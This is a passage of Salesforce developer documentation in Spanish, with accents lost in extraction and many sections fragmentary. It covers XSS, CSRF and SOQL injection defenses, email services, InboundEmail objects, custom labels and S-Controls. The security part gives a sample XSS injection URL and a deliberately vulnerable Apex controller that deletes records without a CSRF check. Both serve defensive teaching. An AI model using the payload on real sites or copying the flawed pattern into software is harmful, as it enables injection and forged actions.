requiere que el carcter entre comillas se excluya con esta URL codificada equivalente de %22 en lugar de la HTML excluida ", ya que
probablemente se utilice como vnculo. Por otra parte, la declaracin:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
da como resultado:
<script>var ret = "foo";alert('xss');//";</script>
Adems, la variable ret puede necesitar exclusiones adicionales del lado del cliente despus en la pgina si se utiliza de manera que
pueda causar que se interpreten los caracteres de control HTML.
Las etiquetas de frmula tambin se pueden utilizar para incluir datos de objetos de plataforma. Aunque los datos se toman directamente
de la organizacin del usuario, se deben excluir antes para evitar que los usuarios ejecuten el cdigo en el contexto de otros usuarios
(potencialmente aquellos con los mayores niveles de privilegios). Aunque estos tipos de ataques deben ejecutarlos usuarios de la misma
organizacin, afectan a las funciones de los usuarios de la organizacin y reducen la integridad de los registros de control. Adems,
muchas organizaciones contienen datos que se han importado de fuentes externas y es posible que no se hayan filtrado en busca de
contenido daino.
En otras palabras, la pgina del atacante contiene una URL que ejecuta una accin en el sitio Web de la vctima. Si el usuario sigue
registrado en la pgina Web de la vctima mientras visita la pgina Web del atacante, la URL se recupera y se ejecutan las acciones
definidas. Este ataque se producir porque el usuario sigue autenticado en la pgina Web de la vctima. Se trata de un ejemplo muy
simple y el atacante puede ser ms creativo si utiliza secuencias de comando para generar la solicitud de devolucin de llamada o utilizar
ataques CSRF contra sus mtodos de AJAX.
Para obtener ms informacin al respecto y sobre las defensas tradicionales, consulte los siguientes artculos:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
En la plataforma Force.com, salesforce.com ha implementado un token anti CSRF para evitar este ataque. Cada pgina incluye una
cadena aleatoria de caracteres como un campo de formulario oculto. La prxima vez que se cargue la pgina, la aplicacin comprueba
la validez de esta cadena de caracteres y no ejecuta el comando salvo que el valor coincida con el valor esperado. Esta funcin le protege
cuando utilice todos los controladores y mtodos estndar.
De nuevo, el desarrollador puede omitir las defensas predefinidas sin considerar el riesgo. Por ejemplo, suponga que tiene un controlador
personalizado desde donde toma el Id. de objeto como parmetro de entrada y utiliza ese parmetro en una llamada SOQL. Considere
el siguiente miniprograma de cdigo.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
En este caso, el desarrollador ha omitido los controles anti CSRF sin saberlo desarrollando su propio mtodo de accin. El parmetro id
se lee y se utiliza en el cdigo. El token anti CSRF no se lee ni se valida. Una pgina Web del atacante puede haber enviado al usuario a
esta pgina utilizando un ataque CSRF y proporcionar el valor que desee para el parmetro id.
No hay defensas predefinidas para este tipo de situaciones, por lo que los desarrolladores deben tener cuidado a la hora de escribir
pginas que desarrollen acciones basadas en parmetros proporcionados por el cliente como la variable id en el ejemplo anterior. Una
posible solucin temporal es insertar una pgina de confirmacin intermedia antes de realizar la accin, para comprobar si que el usuario
pretenda acceder a la pgina. Entre otras soluciones se incluyen reducir el tiempo de inactividad de la sesin en la organizacin y
acostumbrar a los usuarios a que cierren su sesin activa y no utilicen su navegador para visitar otros sitios mientras estn autenticados.
Inyeccin SOQL
En otros lenguajes de programacin, el fallo anterior se conoce como inyeccin SQL. Apex no utiliza SQL, sino que utiliza su propio
lenguaje de consulta de base de datos, SOQL. SOQL es mucho ms simple y con menos funcionalidades que SQL. Por lo tanto, los riesgos
de SOQL son mucho menores que los de SQL, pero los ataques son casi idnticos a los de inyeccin SQL tradicional. En resumen, inyeccin
SQL/SOQL implica entradas proporcionadas por el usuario y el uso de estos valores en una consulta SOQL dinmica. Si la entrada no
est validada, puede incluir comandos SOQL que modifiquen la declaracin SOQL y engaen a la aplicacin para que ejecute los comandos
no deseados.
Para obtener ms informacin sobre ataques de inyeccin SQL, consulte:
http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection
Se trata de un ejemplo muy simple, pero muy ilustrativo de la lgica. El cdigo intenta buscar los contactos que no se han eliminado.
El usuario proporciona un valor de entrada denominado name. El valor puede ser cualquiera que proporcione el usuario y no se valida
nunca. La consulta SOQL se crea de forma dinmica y se ejecuta con el mtodo Database.query. Si el usuario proporciona un valor
vlido, la declaracin se ejecuta como se esperaba:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
Ahora, los resultados muestran todos los contactos, no slo los que se eliminan. Una vulnerabilidad de inyeccin SOQL se puede utilizar
para modificar la lgica prevista de cualquier consulta vulnerable.
Si debe utilizar SOQL dinmica, utilice el mtodo escapeSingleQuotes para depurar las entradas proporcionadas por el usuario.
Este mtodo aade el carcter de escape (\) a todas las comillas simples de una cadena procedente del usuario. Este mtodo garantiza
que todas las comillas simples se consideren cadenas de cierre, en lugar de comandos de base de datos.
En este caso, se buscan todos los registros de los contactos, incluso si el usuario que ha iniciado sesin no tendra normalmente permiso
para ver estos registros. La solucin es utilizar las palabras claves de calificacin with sharing al declarar la clase:
public with sharing class customController {
. . .
}
La palabra clave with sharing dirige la plataforma para utilizar los permisos de colaboracin de seguridad del usuario que ha
iniciado sesin, en lugar de proporcionar acceso completo a todos los registros.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
El uso de servicios de correo
electrnico en paquetes de
AppExchange instalados
tambin est disponible en:
Group Edition y
Professional Edition
PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"
Los servicios de correo electrnico rechazan mensajes de correo electrnico y notifican al remitente si el correo electrnico
(combinacin del texto del cuerpo, HTML del cuerpo y los archivos adjuntos) supera aproximadamente los 10 MB (vara dependiendo
del idioma y el conjunto de caracteres).
CONSULTE TAMBIN
Definicin de direcciones de servicio de correo electrnico
Definicin de servicios de correo electrnico
Uso del objeto InboundEmail
EDICIONES
2. Seleccione el servicio de correo electrnico para el que desea definir una direccin.
3. Haga clic en Nuevo servicio de correo electrnico o haga clic en Modificar para cambiar la
configuracin de una direccin de servicio de correo electrnico existente. Para eliminar una
direccin de servicio de correo electrnico, haga clic en Ver y Eliminar.
4. En el campo Direccin de correo electrnico, introduzca la parte local de la
direccin del servicio de correo electrnico. Salesforce genera una parte de dominio nico para
cada direccin del servicio de correo electrnico para asegurar que no hay dos direcciones del
servicio de correo electrnico idntico. La parte del dominio generada aparece a la derecha del
campo Direccin de correo electrnico.
Consejo: Para la parte local de una direccin de correo electrnico de Salesforce, todos
los caracteres alfanumricos son vlidos, adems de los siguientes caracteres especiales:
!#$%&'*/=?^_+-`{|}~. Para la parte del dominio de una direccin de correo electrnico
de Salesforce, slo los caracteres alfanumricos son vlidos, adems del guin (-). El
carcter de punto (.) tambin es vlido en la parte local y del dominio siempre que no
sea el primer carcter.
Las direcciones de correo electrnico de Salesforce no distinguen entre minsculas y
maysculas.
5. Active la casilla de verificacin Activo si desea activar la direccin del servicio de correo
electrnico cuando haga clic en Guardar.
PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"
Deje este campo en blanco si desea que el servicio de correo electrnico reciba un correo electrnico de cualquier direccin de
correo electrnico.
Nota: Si tanto el servicio como la direccin de correo electrnico estn configuradas para aceptar nicamente mensajes de
algunos remitentes, el servicio de correo electrnico slo procesa mensajes de remitentes incluidos en los cuadros de texto
Aceptar correo electrnico de en el servicio de correo electrnico y las direcciones de servicio de correo
electrnico.
8. Haga clic en Guardar para guardar sus cambios o Guardar y crear nueva para definir otra direccin de correo electrnico entrante
para este servicio de correo electrnico.
CONSULTE TAMBIN
Definicin de servicios de correo electrnico
Qu son los servicios de correo electrnico?
EDICIONES
PERMISOS DE USUARIO
Para configurar los servicios
y las direcciones del servicio
de correo electrnico de
Apex:
Modificar todos los
datos
Para crear las clases de
Apex:
"Apex de autor"
}
}
Si desea informacin sobre el objeto InboundEmail, consulte Uso del objeto InboundEmail en la pgina 103.
5. Seleccione los tipos de archivos adjuntos que desea que acepte el servicio de correo electrnico. Las opciones son:
Ninguno
El servicio de correo electrnico acepta el mensaje, pero descarta los archivos adjuntos.
Archivos adjuntos de texto nicamente
El servicio de correo electrnico slo acepta los tipos siguientes de archivos adjuntos:
Archivos adjuntos con text tipo MIME (Extensin de correo de Internet multipropsito).
Archivos adjuntos con application/octet-stream tipo MIME y un nombre de archivo que termina con una
extensin .vcf o .vcs. Se guardan como tipo MIME text/x-vcard y text/calendar, respectivamente.
Mensajes con archivos adjuntos diferentes a los tipos aceptados, pero los archivos adjuntos se descartan.
Archivos adjuntos binarios nicamente
El servicio de correo electrnico slo acepta archivos adjuntos binarios, como archivos de imgenes, audio, aplicaciones y vdeo.
Los archivos adjuntos binarios tienen un lmite de 5 MB por archivo adjunto.
Mensajes con archivos adjuntos no binarios aceptados, pero los archivos adjuntos se descartan.
Todos
El servicio de correo electrnico acepta cualquier tipo de archivos adjuntos.
Nota: Un servicio de correo electrnico slo puede procesar archivos adjuntos si lo configura para aceptar archivos adjuntos
y utiliza una clase de Apex que procese los tipos de archivos adjuntos que acepta el servicio de correo electrnico.
Del mismo modo, tenga en cuenta que los servicios de correo electrnico no aceptan archivos adjuntos en lnea, como grficos
insertados en mensajes de correo electrnico.
6. Tambin puede activar la casilla de verificacin Configuracin de seguridad avanzada de correo
electrnico para configurar el servicio de correo electrnico y verificar la legitimidad del servidor de envo antes de procesar
un mensaje. El servicio de correo electrnico utiliza los siguientes protocolos de autenticacin para comprobar los siguientes
protocolos de autenticacin con el objeto de verificar la legitimidad del remitente:
SPF
SenderId
DomainKeys
Si el servidor de envo cumple al menos uno de estos protocolos y no incumple ninguno, el servicio de correo electrnico acepta el
correo. Si el servidor incumple un protocolo o no admite alguno de ellos, el servicio de correo electrnico ejecuta la accin especificada
en la configuracin de respuesta de error Accin de remitente no autenticado.
Consejo: Antes de activar la casilla de verificacin Autenticar remitentes, compruebe que los remitentes que
espera que utilicen el servicio de correo electrnico admitan al menos uno de los protocolos de autenticacin mencionados
anteriormente. Si desea informacin acerca de estos protocolos de autenticacin, consulte los siguientes sitios Web:
www.openspf.org
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
7. Los servicios de correo electrnico rechazan los mensajes de correo electrnico y envan una notificacin al remitente si el mensaje
de correo electrnico (combinacin del texto del cuerpo, HTML del cuerpo y archivos adjuntos) supera aproximadamente los 10 MB
(vara segn el idioma y el juego de caracteres).
Determina lo que el servicio de correo electrnico hace con los mensaje si el nmero total de mensajes procesados por todos
los servicios de correo electrnico combinados ha alcanzado el lmite diario de su organizacin. Salesforce calcula el lmite
multiplicando el nmero de licencias por 1.000, hasta un mximo diario de 1.000.000. Por ejemplo, si tiene 10 licencias, su
organizacin puede procesar hasta 10.000 correos electrnicos cada da.
Accin de direccin de correo electrnico desactivada
Determina lo que el servicio de correo electrnico hace con los mensajes recibidos en una direccin de correo electrnica no
activada.
Accin de servicio de correo electrnico desactivado
Determina lo que el servicio de correo electrnico hace con los mensajes que recibe si el servicio est desactivado.
Accin de remitente no autenticado
Determina lo que el servicio de correo electrnico hace con los mensajes que incumplen o no cumplen cualquiera de los
protocolos de autenticacin si se activa la casilla de verificacin Autenticar remitentes.
Accin de remitente no autorizado
Determina lo que el servicio de correo electrnico hace con los mensajes recibidos de remitentes no incluidos en el cuadro de
texto Aceptar correo electrnico de en el servicio o direcciones de correo electrnico.
Las opciones de respuesta de error son:
Reenviar mensaje
El servicio de correo electrnico devuelve el mensaje al remitente o al Usuario de caso automtico para Correo
electrnico para registro de casos On-Demand, junto con una notificacin que describe la razn por la que se rechaz el mensaje.
Descartar mensaje
El servicio de correo electrnico elimina el mensaje sin notificar al remitente.
Volver a poner el mensaje en cola (Accin sobre lmite de correo electrnico nicamente)
El servicio de correo electrnico pone el mensaje en cola y lo procesar en las siguientes 24 horas. Si el mensaje no se procesa
en las siguientes 24 horas, el servicio de correo electrnico devuelve el mensaje al remitente con una notificacin que explica
los motivos por los que el mensaje se ha rechazado.
12. Para enviar mensajes de correo electrnico de error a una direccin especificada en lugar de a la direccin de correo electrnico del
remitente, seleccione Activar enrutamiento de error y especifique la direccin de correo electrnico de destino en
Enrutar correos electrnicos de error a esta direccin de correo electrnico. Esto evita
que se notifique al remitente si los servicios de correo electrnico no pueden procesar un correo electrnico entrante.
13. Haga clic en Guardar para guardar sus cambios, o en Guardar y crear una nueva direccin de correo electrnico para crear
una nueva direccin de correo electrnico para este servicio, tal y como se describe en Definicin de direcciones de servicio de
correo electrnico en la pgina 99.
CONSULTE TAMBIN
Definicin de direcciones de servicio de correo electrnico
Qu son los servicios de correo electrnico?
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition
}
// Update all lead records in the query.
update ll;
}
catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}
System.debug('Found the unsubscribe word in the subject line.');
}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;
}
}
@isTest
private class unsubscribeTest {
// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env
= new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with the subject that matches the unsubscribe statement.
email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';
// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
static testMethod void testUnsubscribe2() {
// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();
// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;
// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;
// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';
// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}
}
Objeto InboundEmail
Los objetos InboundEmail tienen los siguientes campos.
Nombre
Tipo
Descripcin
binaryAttachments
InboundEmail.BinaryAttachment[]
ccAddresses
Cadena[]
fromAddress
Cadena
Nombre
Tipo
Descripcin
fromName
Cadena
headers
InboundEmail.Header[]
htmlBody
Cadena
htmlBodyIsTruncated
Booleano
inReplyTo
Cadena
messageId
Cadena
plainTextBody
Cadena
plainTextBodyIsTruncated Booleano
references
Cadena[]
replyTo
Cadena
subject
Cadena
textAttachments
InboundEmail.TextAttachment[]
Nombre
Tipo
Descripcin
Archivos adjuntos con
application/octet-stream tipo MIME y un
nombre de archivo que termina con una extensin
.vcf o .vcs. Se guardan como tipo MIME
text/x-vcard y text/calendar,
respectivamente.
toAddresses
Cadena[]
Objeto InboundEmail.Header
Los objetos InboundEmailHeader almacenan informacin de encabezado de correo electrnico RFC 2822 en un objeto
InboundEmail.Header con los siguientes campos.
Nombre
Tipo
Descripcin
name
Cadena
value
Cadena
Objeto InboundEmail.BinaryAttachment
Un objeto InboundEmail almacena archivos adjuntos binarios en un objeto InboundEmail.BinaryAttachment.
Ejemplos de archivos adjuntos binarios son los archivos de imagen, audio, aplicaciones y vdeo.
Un objeto InboundEmail.BinaryAttachment que tiene los siguientes objetos.
Nombre
Tipo
Descripcin
body
Blob
fileName
Cadena
mimeTypeSubType
Cadena
Objeto InboundEmail.TextAttachment
Un objeto InboundEmail almacena archivos adjuntos de texto en un objeto InboundEmail.TextAttachment.
Los archivos adjuntos de texto pueden ser cualquiera de los siguientes:
Archivos adjuntos con text tipo MIME (Extensin de correo de Internet multipropsito).
Archivos adjuntos con application/octet-stream tipo MIME y un nombre de archivo que termina con una extensin
.vcf o .vcs. Se guardan como tipo MIME text/x-vcard y text/calendar, respectivamente.
Un objeto InboundEmail.TextAttachment que tiene los siguientes campos.
Nombre
Tipo
Descripcin
body
Cadena
bodyIsTruncated
Booleano
Indica si el texto del cuerpo del archivo adjunto est truncado (verdadero) o
no (falso).
charset
Cadena
fileName
Cadena
mimeTypeSubType
Cadena
Objeto InboundEmailResult
El objeto InboundEmailResult se utiliza para devolver el resultado del servicio del correo electrnico. Si el objeto es nulo, se asume que
el resultado es correcto. El objeto InboundEmailResult tiene los siguientes campos.
Nombre
Tipo
Descripcin
success
Booleano
message
Cadena
Objeto InboundEnvelope
El objeto InboundEnvelope guarda el informacin del sobre asociada con el correo electrnico entrante y contiene los siguientes campos.
Nombre
Tipo
Descripcin
toAddress
Cadena
fromAddress
Cadena
CONSULTE TAMBIN
Qu son los servicios de correo electrnico?
Descripcin general del cdigo Apex
Etiquetas personalizadas
Descripcin general de etiquetas personalizadas
Las etiquetas personalizadas son valores de texto personalizado a los que se puede acceder desde
las clases de Apex o las pginas de Visualforce. Los valores se pueden traducir a cualquier idioma
compatible con Salesforce. Las etiquetas personalizadas permiten a los desarrolladores crear
aplicaciones multilinges, que presentan la informacin automticamente (texto de la ayuda o
mensajes de error, por ejemplo) en el idioma del usuario.
EDICIONES
Puede crear hasta 5.000 etiquetas personalizadas para su organizacin, y cada una de ellas puede
tener una longitud de hasta 1.000 caracteres.
Para acceder a las etiquetas personalizadas, desde Configuracin, haga clic en Crear > Etiquetas
personalizadas. Desde esta pgina, puede:
PERMISOS DE USUARIO
Crear una nueva etiqueta personalizada o modificar una etiqueta personalizada existente.
Visualizar una etiqueta personalizada existente. Desde la pgina de visualizacin, puede crear
o modificar una traduccin en un idioma utilizado por su organizacin.
Para agregar una etiqueta personalizada a su aplicacin, realice los pasos siguientes:
1. Cree una nueva etiqueta personalizada.
2. Traduzca el valor de la nueva etiqueta a un idioma compatible con su aplicacin.
3. Active la etiqueta mediante una clase de Apex o una pgina de Visualforce. Las etiquetas
personalizadas se activan en Apex utilizando System.Label.Nombre_etiqueta. Para
Visualforce, use la variable global $Label.
4. Incluya la etiqueta en su aplicacin cuando la empaquete en AppExchange.
Consejo: Si una clase de Apex o una pgina de Visualforce hace referencia a una etiqueta
personalizada y esa etiqueta tiene traducciones, debe empaquetar de forma explcita los
idiomas individuales que desee con el fin de que esas traducciones se incluyan en el
paquete.
CONSULTE TAMBIN
Creacin y modificacin de etiquetas personalizadas
EDICIONES
Disponible en: Developer
Edition, Professional
Edition, Enterprise Edition,
Performance Edition y
Unlimited Edition
PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor
EDICIONES
PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor
EDICIONES
PERMISOS DE USUARIO
Para crear, modificar o
eliminar etiquetas
personalizadas:
Personalizar aplicacin
Para crear o sustituir una
traduccin:
Gestionar traduccin
O
Ver parmetros y
configuracin y estar
designado como
traductor
Custom S-Control
Definicin de Custom S-Control
Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones
que no hayan usado anteriormente S-Control no podrn crearlos. Los S-Control existentes
no se vern afectados y todava podrn modificarse.
La biblioteca de Custom S-Control es un lugar donde puede almacenar y actualizar el contenido
para utilizar en muchas reas dentro de Salesforce como vnculos personalizados, fichas Web,
botones personalizados y paneles. S-Control ofrece una forma flexible y abierta para ampliar la
interfaz de usuario de Salesforce, incluida la capacidad para crear y mostrar formularios de datos
personalizados propios.
Un S-Control puede incluir cualquier tipo de contenido que se pueda mostrar o ejecutar en un
explorador, por ejemplo, un applet de Java, un control de ActiveX, un archivo de Excel o un formulario
Web HTML personalizado.
1. Desde Configuracin, haga clic en Desarrollo > S-Controls.
2. Para crear un nuevo custom s-control, haga clic en Nuevo Custom S-Control.
3. Para cambiar un S-Control existente, haga clic en Modificar.
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin
6. Haga clic en Guardar cuando haya finalizado o haga clic en Guardar rpido para guardar y continuar modificando.
7. Cree un botn o vnculo personalizado para mostrar el Custom S-Control a los usuarios. De forma alternativa, cree una ficha Web
mediante el Custom S-Control, agregue el S-Control a un formato de pgina o agregue el S-Control a un panel. Tambin puede
utilizar un S-Control como contenido de ayuda en lnea para un objeto personalizado.
CONSULTE TAMBIN
Visualizacin y modificacin de S-Control
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin
Descripcin
Etiqueta
Nombre de
S-Control
Nombre nico para S-Control. Este nombre slo puede incluir guiones
bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin.
Debe comenzar por una letra, no terminar con un guin bajo y no contener
espacios ni dos guiones bajos consecutivos.
Tipo
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Nombre de atributo
Descripcin
Miniprograma
Los miniprogramas son S-Control diseados para incluirse en otros S-Control. Seleccione esta opcin
si desea introducir el contenido de su miniprograma de S-Control en el rea Contenido.
Descripcin
Texto que describe el S-Control. Esto slo se muestra para los administradores.
Contenido
Salesforce elimina automticamente las dobles comillas de las URL si el Origen del
contenido es URL. Si necesita aadir comillas dobles, hgalo manualmente. Por ejemplo,
para generar la URL
http://www.google.com/search?q="salesforce+foundation", utilice
este contenido:
http://www.google.com/search?q=%22salesforce+foundation%22.
Nombre de atributo
Descripcin
Nombre de archivo
Carga el archivo que se mostrar cuando se agregue este S-Control a un vnculo personalizado. El
archivo puede contener un applet de Java, un control ActiveX o cualquier otro tipo de contenido. Esta
opcin slo se aplica a S-Control de HTML.
Incorporar
previamente en la
pgina
Esta opcin mantiene el S-Control en memoria, que puede mejorar el rendimiento cuando la pgina
se recargue porque el S-Control no se tiene que recargar tambin. Esta opcin slo se aplica a S-Control
de HTML.
Codificacin
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control:
Personalizar aplicacin
EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Sugerencias
Para hacer referencia a un archivo que haya cargado en el campo Nombre de archivo como parte del Custom S-Control,
seleccione "Custom S-Control" de la lista desplegable Seleccionar tipo de campo y seleccione URL de Custom S-Control para
obtener el campo de combinacin. Para un applet de Java, tambin puede utilizar los campos de combinacin
{!Scontrol_JavaCodebase} y {!Scontrol_JavaArchive}.
Para insertar campos de conexin de actividades, seleccione Evento o Tarea En la lista desplegable Seleccionar tipo de campo.
Salesforce codifica automticamente el texto de cualquier campo de combinacin que inserte en un vnculo.
CONSULTE TAMBIN
Definicin de Custom S-Control
S-Control
HTML, XML
Estilo de lenguaje
Marca de etiqueta
Cdigo de procedimiento
Conformacin de componentes
personalizados y estndar utilizando
etiquetas
No
Acceso a comportamiento de
plataforma predefinido
No
Enlace de datos
No
Pginas de Visualforce
S-Control
Rendimiento
Contenedor de la pgina
Nativo
En iFrame
CONSULTE TAMBIN
Descripcin general de Visualforce
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Professional Edition (con
API y Lienzo de Force.com
activados) y Developer
Edition
Descripcin
Plantilla
mxima es 30 caracteres.
Nombre de aplicacin de Heroku Nombre de la aplicacin de Heroku. El nombre
Tipo de autenticacin
PERMISOS DE USUARIO
Para ver el controlador de
vista previa:
Personalizar aplicacin
Y
Modificar todos los
datos
Campo
Descripcin
Contrasea de Heroku
Nota: El nombre de usuario y la contrasea de Heroku no estn almacenados en ningn sitio, pero se utilizan solo durante el
proceso de creacin de la aplicacin en una conexin segura.
EDICIONES
Paquetes de AppExchange
y Visualforce disponibles en:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Apex disponible en:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para cargar paquetes:
"Cargar paquetes de
AppExchange"
Para ver las dependencias
de Apex:
"Apex de autor"
Para ver las dependencias
de Visualforce:
Modo de desarrollador
EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Developer Edition y
Database.com
PERMISOS DE USUARIO
WSDL de Apex: Utilice este WSDL para ejecutar o compilar Apex en otro entorno.
WSDL de metadatos: Utilice este WSDL para migrar los cambios de configuracin entre organizaciones o trabajar con las
personalizaciones en su organizacin como archivos de metadatos XML.
Para descargar un documento WSDL:
1. Desde Configuracin, haga clic en Desarrollo > API.
2. Descargue el WSDL adecuado:
Si est descargando un WSDL de empresa y tiene paquetes gestionados instalados en su organizacin, haga clic en Generar
WSDL de empresa. Salesforce le pedir que seleccione la versin de cada paquete instalado para incluirlos en el WSDL generado.
Tambin puede hacer clic con el botn derecho del ratn en el vnculo del documento WSDL adecuado para guardarlo en un
directorio local. En el men contextual, los usuarios de Internet Explorer pueden seleccionar Guardar destino como, mientras
que los usuarios de Mozilla Firefox pueden seleccionar Guardar vnculo como.
3. En su equipo, importe la copia local del documento WSDL en su entorno de desarrollo.
Nota: Tambin puede seleccionar las versiones de paquete predeterminadas sin descargar un WSDL en la seccin Configuracin
de versin de paquete.
Como opcin, puede descargar un certificado para autenticar las organizaciones de salesforce.com. Use este certificado para los mensajes
salientes de flujo de trabajo. El objetivo de este certificado es identificar que la solicitud precede de salesforce.com, no de un usuario
especfico. Si desea utilizar certificados para garantizar que conexiones seguras utilizando otras funciones de Salesforce, como las llamadas
de Apex, utilice certificados y pares de claves de Salesforce.
Desde Configuracin, haga clic en Desarrollo > API y en la pgina Descargar WSDL, haga clic con el botn derecho en Descargar
certificado de cliente y gurdelo en la ubicacin adecuada. Puede importar el certificado descargado en su servidor de la aplicacin
y configurar su servidor de aplicacin para solicitar el certificado del cliente.
Cundo se
debe utilizar
Protocolo Formato
de datos
JSON, XML
Comunicacin
Sncrona
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para utilizar las API
API activada
Nombre de API
Utilidad
Cundo se debe
utilizar
Protocolo
Formato de
datos
Comunicacin
Tiene servicios de
SOAP/WSDL
middleware preexistentes
que deben funcionar con
WSDL y datos en formato
XML.
XML
Sncrona
API de REST de
Chatter
Acceder a noticias en
tiempo real y datos
sociales de Chatter como
usuarios, grupos,
seguidores y archivos
mediante REST.
JSON, XML
Sncrona (las
fotografas se
procesan de
forma asncrona)
API masiva
CSV, XML
Asncrona
API de metadatos
Gestionar
personalizaciones de su
organizacin y crear
herramientas que puedan
gestionar el modelo de
metadatos, no los propios
datos.
XML
Asncrona
API de transmisin
Proporcionar un flujo de
datos que refleje los
cambios de datos en su
organizacin.
Necesita notificaciones
Bayeux
casi en tiempo real del
momento en que se crean
o actualizan los registros.
JSON
Asncrona (flujo
de datos)
JSON, XML,
personalizado
Sncrona
API de SOAP de
Apex
XML
Sncrona
Desea agregar
funcionalidad a sus
herramientas de
integracin y desarrollo
existentes o desea crear
JSON, XML,
personalizado
Asncrona
REST y SOAP
Nombre de API
Utilidad
Cundo se debe
utilizar
Protocolo
Formato de
datos
Comunicacin
herramientas de desarrollo
especializadas para un
servicio o una aplicacin
en concreto.
La forma ms sencilla de acceder a la API de metadatos es utilizar el IDE de Force.com o la herramienta de migracin de Force.com. Estas
herramientas se crean sobre la API de metadatos y utilizan las herramientas estndar de Eclipse y Ant respectivamente para simplificar
la tarea de trabajar con la API de metadatos. El IDE de Force.com, que se basa en la plataforma Eclipse, ofrece un entorno cmodo para
los programadores experimentados con los entornos de desarrollo integrado, permitindoles codificar, compilar, probar e implementarlo
todo desde el propio IDE . La herramienta de migracin de Force.com es ideal si desea utilizar una utilidad de secuencia de comandos
o lnea de comandos para trasladar los metadatos entre el directorio local y una organizacin de Salesforce.
EDICIONES
Disponible en: Professional
Edition, Enterprise Edition,
Performance Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, leer, actualizar y
eliminar:
Modificar todos los
datos
2. Seleccione Nuevo.
3. Introduzca un patrn de URL de origen.
El patrn de URL de origen debe incluir el protocolo HTTPS y un nombre de dominio y puede incluir un puerto. El carcter comodn
(*) es compatible y debe estar en frente de un nombre de dominio de segundo nivel, por ejemplo, https://*.example.com
